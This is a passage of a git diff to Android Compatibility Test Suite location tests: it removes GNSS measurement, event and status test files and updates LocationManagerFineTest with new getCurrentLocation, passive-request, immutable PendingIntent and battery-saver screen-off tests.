-        assertTrue(measurement.hasCarrierFrequencyHz());
-        measurement.resetCarrierFrequencyHz();
-        assertFalse(measurement.hasCarrierFrequencyHz());
-
-        assertTrue(measurement.hasCarrierPhase());
-        measurement.resetCarrierPhase();
-        assertFalse(measurement.hasCarrierPhase());
-
-        assertTrue(measurement.hasCarrierPhaseUncertainty());
-        measurement.resetCarrierPhaseUncertainty();
-        assertFalse(measurement.hasCarrierPhaseUncertainty());
-
-        assertTrue(measurement.hasSnrInDb());
-        measurement.resetSnrInDb();
-        assertFalse(measurement.hasSnrInDb());
-
-        assertTrue(measurement.hasCodeType());
-        measurement.resetCodeType();
-        assertFalse(measurement.hasCodeType());
-
-        assertTrue(measurement.hasBasebandCn0DbHz());
-        measurement.resetBasebandCn0DbHz();
-        assertFalse(measurement.hasBasebandCn0DbHz());
-
-        assertTrue(measurement.hasFullInterSignalBiasNanos());
-        measurement.resetFullInterSignalBiasNanos();
-        assertFalse(measurement.hasFullInterSignalBiasNanos());
-
-        assertTrue(measurement.hasFullInterSignalBiasUncertaintyNanos());
-        measurement.resetFullInterSignalBiasUncertaintyNanos();
-        assertFalse(measurement.hasFullInterSignalBiasUncertaintyNanos());
-
-        assertTrue(measurement.hasSatelliteInterSignalBiasNanos());
-        measurement.resetSatelliteInterSignalBiasNanos();
-        assertFalse(measurement.hasSatelliteInterSignalBiasNanos());
-
-        assertTrue(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
-        measurement.resetSatelliteInterSignalBiasUncertaintyNanos();
-        assertFalse(measurement.hasSatelliteInterSignalBiasUncertaintyNanos());
-    }
-
-    private static void setTestValues(GnssMeasurement measurement) {
-        measurement.setAccumulatedDeltaRangeMeters(1.0);
-        measurement.setAccumulatedDeltaRangeState(2);
-        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
-        measurement.setBasebandCn0DbHz(3.0);
-        measurement.setCarrierCycles(4);
-        measurement.setCarrierFrequencyHz(5.0f);
-        measurement.setCarrierPhase(6.0);
-        measurement.setCarrierPhaseUncertainty(7.0);
-        measurement.setCn0DbHz(8.0);
-        measurement.setCodeType("C");
-        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
-        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
-        measurement.setPseudorangeRateMetersPerSecond(9.0);
-        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
-        measurement.setReceivedSvTimeNanos(11);
-        measurement.setReceivedSvTimeUncertaintyNanos(12);
-        measurement.setFullInterSignalBiasNanos(1.3);
-        measurement.setFullInterSignalBiasUncertaintyNanos(2.5);
-        measurement.setSatelliteInterSignalBiasNanos(5.4);
-        measurement.setSatelliteInterSignalBiasUncertaintyNanos(10.0);
-        measurement.setSnrInDb(13.0);
-        measurement.setState(14);
-        measurement.setSvid(15);
-        measurement.setTimeOffsetNanos(16.0);
-    }
-
-    private static void verifyTestValues(GnssMeasurement measurement) {
-        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters(), DELTA);
-        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
-        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters(), DELTA);
-        assertEquals(3.0, measurement.getBasebandCn0DbHz(), DELTA);
-        assertEquals(4, measurement.getCarrierCycles());
-        assertEquals(5.0f, measurement.getCarrierFrequencyHz(), DELTA);
-        assertEquals(6.0, measurement.getCarrierPhase(), DELTA);
-        assertEquals(7.0, measurement.getCarrierPhaseUncertainty(), DELTA);
-        assertEquals(8.0, measurement.getCn0DbHz(), DELTA);
-        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
-        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
-                measurement.getMultipathIndicator());
-        assertEquals("C", measurement.getCodeType());
-        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond(), DELTA);
-        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond(), DELTA);
-        assertEquals(11, measurement.getReceivedSvTimeNanos());
-        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
-        assertEquals(1.3, measurement.getFullInterSignalBiasNanos(), DELTA);
-        assertEquals(2.5, measurement.getFullInterSignalBiasUncertaintyNanos(), DELTA);
-        assertEquals(5.4, measurement.getSatelliteInterSignalBiasNanos(), DELTA);
-        assertEquals(10.0, measurement.getSatelliteInterSignalBiasUncertaintyNanos(), DELTA);
-        assertEquals(13.0, measurement.getSnrInDb(), DELTA);
-        assertEquals(14, measurement.getState());
-        assertEquals(15, measurement.getSvid());
-        assertEquals(16.0, measurement.getTimeOffsetNanos(), DELTA);
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
deleted file mode 100644
index 048c741..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.os.Parcel;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.Collection;
-import java.util.Iterator;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssMeasurementsEventTest {
-
-    @Test
-    public void testDescribeContents() {
-        GnssClock clock = new GnssClock();
-        GnssMeasurement m1 = new GnssMeasurement();
-        GnssMeasurement m2 = new GnssMeasurement();
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        assertEquals(0, event.describeContents());
-    }
-
-    @Test
-    public void testWriteToParcel() {
-        GnssClock clock = new GnssClock();
-        clock.setLeapSecond(100);
-        GnssMeasurement m1 = new GnssMeasurement();
-        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
-        GnssMeasurement m2 = new GnssMeasurement();
-        m2.setReceivedSvTimeNanos(43999);
-        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
-                clock, new GnssMeasurement[] {m1, m2});
-        Parcel parcel = Parcel.obtain();
-        event.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
-        assertEquals(100, newEvent.getClock().getLeapSecond());
-        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
-        assertEquals(2, measurements.size());
-        Iterator<GnssMeasurement> iterator = measurements.iterator();
-        GnssMeasurement newM1 = iterator.next();
-        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
-        GnssMeasurement newM2 = iterator.next();
-        assertEquals(43999, newM2.getReceivedSvTimeNanos());
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
deleted file mode 100644
index df050ba..0000000
--- a/tests/location/location_fine/src/android/location/cts/fine/GnssStatusTest.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.fine;
-
-import static org.junit.Assert.assertEquals;
-
-import android.location.GnssStatus;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class GnssStatusTest {
-
-    private static final float DELTA = 1e-3f;
-
-    @Test
-    public void testGetValues() {
-        GnssStatus gnssStatus = getTestGnssStatus();
-        verifyTestValues(gnssStatus);
-    }
-
-    @Test
-    public void testBuilder_ClearSatellites() {
-        GnssStatus.Builder builder = new GnssStatus.Builder();
-        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
-                /* svid= */ 13,
-                /* cn0DbHz= */ 25.5f,
-                /* elevation= */ 2.0f,
-                /* azimuth= */ 255.1f,
-                /* hasEphemeris= */ true,
-                /* hasAlmanac= */ false,
-                /* usedInFix= */ true,
-                /* hasCarrierFrequency= */ true,
-                /* carrierFrequency= */ 1575420000f,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 20.5f);
-        builder.clearSatellites();
-
-        GnssStatus status = builder.build();
-        assertEquals(0, status.getSatelliteCount());
-    }
-
-    private static GnssStatus getTestGnssStatus() {
-        GnssStatus.Builder builder = new GnssStatus.Builder();
-        builder.addSatellite(GnssStatus.CONSTELLATION_GPS,
-                /* svid= */ 13,
-                /* cn0DbHz= */ 25.5f,
-                /* elevation= */ 2.0f,
-                /* azimuth= */ 255.1f,
-                /* hasEphemeris= */ true,
-                /* hasAlmanac= */ false,
-                /* usedInFix= */ true,
-                /* hasCarrierFrequency= */ true,
-                /* carrierFrequency= */ 1575420000f,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 20.5f);
-
-        builder.addSatellite(GnssStatus.CONSTELLATION_GLONASS,
-                /* svid= */ 9,
-                /* cn0DbHz= */ 31.0f,
-                /* elevation= */ 1.0f,
-                /* azimuth= */ 193.8f,
-                /* hasEphemeris= */ false,
-                /* hasAlmanac= */ true,
-                /* usedInFix= */ false,
-                /* hasCarrierFrequency= */ false,
-                /* carrierFrequency= */ Float.NaN,
-                /* hasBasebandCn0DbHz= */ true,
-                /* basebandCn0DbHz= */ 26.9f);
-
-        return builder.build();
-    }
-
-    private static void verifyTestValues(GnssStatus gnssStatus) {
-        assertEquals(2, gnssStatus.getSatelliteCount());
-        assertEquals(GnssStatus.CONSTELLATION_GPS, gnssStatus.getConstellationType(0));
-        assertEquals(GnssStatus.CONSTELLATION_GLONASS, gnssStatus.getConstellationType(1));
-
-        assertEquals(13, gnssStatus.getSvid(0));
-        assertEquals(9, gnssStatus.getSvid(1));
-
-        assertEquals(25.5f, gnssStatus.getCn0DbHz(0), DELTA);
-        assertEquals(31.0f, gnssStatus.getCn0DbHz(1), DELTA);
-
-        assertEquals(2.0f, gnssStatus.getElevationDegrees(0), DELTA);
-        assertEquals(1.0f, gnssStatus.getElevationDegrees(1), DELTA);
-
-        assertEquals(255.1f, gnssStatus.getAzimuthDegrees(0), DELTA);
-        assertEquals(193.8f, gnssStatus.getAzimuthDegrees(1), DELTA);
-
-        assertEquals(true, gnssStatus.hasEphemerisData(0));
-        assertEquals(false, gnssStatus.hasEphemerisData(1));
-
-        assertEquals(false, gnssStatus.hasAlmanacData(0));
-        assertEquals(true, gnssStatus.hasAlmanacData(1));
-
-        assertEquals(true, gnssStatus.usedInFix(0));
-        assertEquals(false, gnssStatus.usedInFix(1));
-
-        assertEquals(true, gnssStatus.hasCarrierFrequencyHz(0));
-        assertEquals(false, gnssStatus.hasCarrierFrequencyHz(1));
-
-        assertEquals(1575420000f, gnssStatus.getCarrierFrequencyHz(0), DELTA);
-
-        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(0));
-        assertEquals(true, gnssStatus.hasBasebandCn0DbHz(1));
-
-        assertEquals(20.5f, gnssStatus.getBasebandCn0DbHz(0), DELTA);
-        assertEquals(26.9f, gnssStatus.getBasebandCn0DbHz(1), DELTA);
-    }
-}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index e6e69df..c878e33 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -16,6 +16,7 @@
 
 package android.location.cts.fine;
 
+import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -23,25 +24,31 @@
 import static android.location.LocationManager.NETWORK_PROVIDER;
 import static android.location.LocationManager.PASSIVE_PROVIDER;
 import static android.location.LocationManager.PROVIDERS_CHANGED_ACTION;
+import static android.location.LocationRequest.PASSIVE_INTERVAL;
+import static android.os.PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF;
+import static android.os.PowerManager.LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF;
+import static android.os.PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF;
+import static android.provider.Settings.Global.LOCATION_IGNORE_SETTINGS_PACKAGE_WHITELIST;
 
 import static androidx.test.ext.truth.content.IntentSubject.assertThat;
 import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.LocationUtils.createLocation;
+import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
 
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.Manifest;
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
 import android.location.Criteria;
-import android.location.GnssAntennaInfo;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssNavigationMessage;
 import android.location.GnssStatus;
@@ -55,21 +62,27 @@
 import android.location.cts.common.GetCurrentLocationCapture;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
-import android.location.cts.common.ProximityPendingIntentCapture;
-import android.os.Build.VERSION;
-import android.os.Build.VERSION_CODES;
+import android.location.cts.common.ProviderRequestListenerCapture;
+import android.location.cts.common.gnss.GnssAntennaInfoCapture;
+import android.location.cts.common.gnss.GnssMeasurementsCapture;
+import android.location.cts.common.gnss.GnssNavigationMessageCapture;
 import android.os.HandlerThread;
 import android.os.Looper;
-import android.os.UserManager;
+import android.os.PowerManager;
 import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings.Secure;
+import android.provider.DeviceConfig;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.LocationUtils;
+import com.android.compatibility.common.util.ScreenUtils;
+import com.android.compatibility.common.util.ScreenUtils.ScreenResetter;
+import com.android.compatibility.common.util.SettingsUtils.SettingResetter;
 
 import org.junit.After;
 import org.junit.Before;
@@ -78,10 +91,9 @@
 
 import java.util.HashSet;
 import java.util.List;
+import java.util.Objects;
 import java.util.Random;
-import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
 public class LocationManagerFineTest {
@@ -99,7 +111,7 @@
 
     @Before
     public void setUp() throws Exception {
-        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+        LocationUtils.registerMockLocationProvider(getInstrumentation(),
                 true);
 
         long seed = System.currentTimeMillis();
@@ -107,9 +119,7 @@
 
         mRandom = new Random(seed);
         mContext = ApplicationProvider.getApplicationContext();
-        mManager = mContext.getSystemService(LocationManager.class);
-
-        assertThat(mManager).isNotNull();
+        mManager = Objects.requireNonNull(mContext.getSystemService(LocationManager.class));
 
         for (String provider : mManager.getAllProviders()) {
             mManager.removeTestProvider(provider);
@@ -130,11 +140,14 @@
 
     @After
     public void tearDown() throws Exception {
-        for (String provider : mManager.getAllProviders()) {
-            mManager.removeTestProvider(provider);
+        if (mManager != null) {
+            for (String provider : mManager.getAllProviders()) {
+                mManager.removeTestProvider(provider);
+            }
+            mManager.removeTestProvider(FUSED_PROVIDER);
         }
 
-        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+        LocationUtils.registerMockLocationProvider(getInstrumentation(),
                 false);
     }
 
@@ -144,14 +157,6 @@
     }
 
     @Test
-    public void testValidLocationMode() {
-        int locationMode = Secure.getInt(mContext.getContentResolver(), Secure.LOCATION_MODE,
-                Secure.LOCATION_MODE_OFF);
-        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_SENSORS_ONLY);
-        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_BATTERY_SAVING);
-    }
-
-    @Test
     public void testIsProviderEnabled() {
         assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
 
@@ -161,6 +166,10 @@
         mManager.setTestProviderEnabled(TEST_PROVIDER, true);
         assertThat(mManager.isProviderEnabled(TEST_PROVIDER)).isTrue();
 
+        for (String provider : mManager.getAllProviders()) {
+            mManager.isProviderEnabled(provider);
+        }
+
         try {
             mManager.isProviderEnabled(null);
             fail("Should throw IllegalArgumentException if provider is null!");
@@ -221,6 +230,41 @@
     }
 
     @Test
+    public void testGetCurrentLocation_Timeout() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setDurationMillis(500).build(),
+                    capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
+            assertThat(capture.getLocation(1000)).isNull();
+        }
+
+        try {
+            mManager.getCurrentLocation((String) null, null, Executors.newSingleThreadExecutor(),
+                    (location) -> {});
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation_FreshOldLocation() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(), capture);
+            assertThat(capture.getLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+    }
+
+    @Test
     public void testGetCurrentLocation_DirectExecutor() throws Exception {
         Location loc = createLocation(TEST_PROVIDER, mRandom);
 
@@ -291,7 +335,7 @@
         }
 
         try {
-            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (LocationListener) null);
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, null, Looper.getMainLooper());
             fail("Should throw IllegalArgumentException if listener is null!");
         } catch (IllegalArgumentException e) {
             // expected
@@ -305,7 +349,7 @@
         }
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(null, 0, 0, capture);
+            mManager.requestLocationUpdates(null, 0, 0, capture, Looper.getMainLooper());
             fail("Should throw IllegalArgumentException if provider is null!");
         } catch (IllegalArgumentException e) {
             // expected
@@ -320,6 +364,23 @@
     }
 
     @Test
+    public void testRequestLocationUpdates_Passive() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(PASSIVE_INTERVAL)
+                            .setMinUpdateIntervalMillis(0)
+                            .build(),
+                    Runnable::run,
+                    capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+    }
+
+    @Test
     public void testRequestLocationUpdates_PendingIntent() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
@@ -353,6 +414,20 @@
             // expected
         }
 
+        PendingIntent immutablePI = PendingIntent.getBroadcast(mContext, 0,
+                new Intent("IMMUTABLE_TEST_ACTION")
+                        .setPackage(mContext.getPackageName())
+                        .addFlags(Intent.FLAG_RECEIVER_FOREGROUND),
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_IMMUTABLE);
+        try {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, immutablePI);
+            fail("Should throw IllegalArgumentException if pending intent is immutable!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        } finally {
+            immutablePI.cancel();
+        }
+
         try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
             mManager.requestLocationUpdates(null, 0, 0, capture.getPendingIntent());
             fail("Should throw IllegalArgumentException if provider is null!");
@@ -428,7 +503,7 @@
                 true,
                 Criteria.POWER_LOW,
                 Criteria.ACCURACY_FINE);
-        setTestProviderEnabled(FUSED_PROVIDER, true);
+        mManager.setTestProviderEnabled(FUSED_PROVIDER, true);
 
         Criteria criteria = new Criteria();
         criteria.setAccuracy(Criteria.ACCURACY_FINE);
@@ -503,12 +578,12 @@
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0, 0,
-                false);
-        request.setNumUpdates(1);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setMaxUpdates(1).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -518,15 +593,16 @@
     }
 
     @Test
-    public void testRequestLocationUpdates_MinTime() throws Exception {
+    public void testRequestLocationUpdates_MinUpdateInterval() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, mRandom);
         Location loc2 = createLocation(TEST_PROVIDER, mRandom);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 5000,
-                0, false);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(5000).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -536,15 +612,16 @@
     }
 
     @Test
-    public void testRequestLocationUpdates_MinDistance() throws Exception {
+    public void testRequestLocationUpdates_MinUpdateDistance() throws Exception {
         Location loc1 = createLocation(TEST_PROVIDER, 0, 0, 10);
         Location loc2 = createLocation(TEST_PROVIDER, 0, 1, 10);
 
-        LocationRequest request = LocationRequest.createFromDeprecatedProvider(TEST_PROVIDER, 0,
-                200000, false);
-
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
-            mManager.requestLocationUpdates(request, Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(
+                    TEST_PROVIDER,
+                    new LocationRequest.Builder(0).setMinUpdateDistanceMeters(200000).build(),
+                    Executors.newSingleThreadExecutor(),
+                    capture);
 
             mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
             assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
@@ -554,9 +631,207 @@
     }
 
     @Test
+    public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        mManager.addTestProvider(GPS_PROVIDER,
+                false,
+                true,
+                false,
+                false,
+                true,
+                true,
+                true,
+                Criteria.POWER_HIGH,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(GPS_PROVIDER, true);
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(GPS_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "1");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_GPS_DISABLED_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(GPS_PROVIDER, loc);
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
+            loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(GPS_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "2");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
+            Location loc = createLocation(TEST_PROVIDER, mRandom);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        } finally {
+            BatteryUtils.enableBatterySaver(false);
+            BatteryUtils.runDumpsysBatteryReset();
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
+        PowerManager powerManager = Objects.requireNonNull(
+                mContext.getSystemService(PowerManager.class));
+
+        LocationRequest request = new LocationRequest.Builder(0).build();
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mContext);
+             ScreenResetter ignored = new ScreenResetter();
+             DeviceConfigStateHelper batterySaverDeviceConfigStateHelper =
+                     new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_BATTERY_SAVER)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, request,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            batterySaverDeviceConfigStateHelper.set("location_mode", "4");
+            BatteryUtils.runDumpsysBatteryUnplug();
+            BatteryUtils.enableBatterySaver(true);
+            assertThat(powerManager.getLocationPowerSaveMode()).isEqualTo(
+                    LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF);
+
+            // check screen off behavior
+            ScreenUtils.setScreenOn(false);
+            assertFalse(powerManager.isInteractive());
+            mManager.setTestProviderLocation(TEST_PROVIDER, createLocation(TEST_PROVIDER, mRandom));
+            assertThat(capture.getNextLocation(FAILURE_TIMEOUT_MS)).isNull();
+
+            // check screen on behavior
+            ScreenUtils.setScreenOn(true);
+            assertTrue(powerManager.isInteractive());
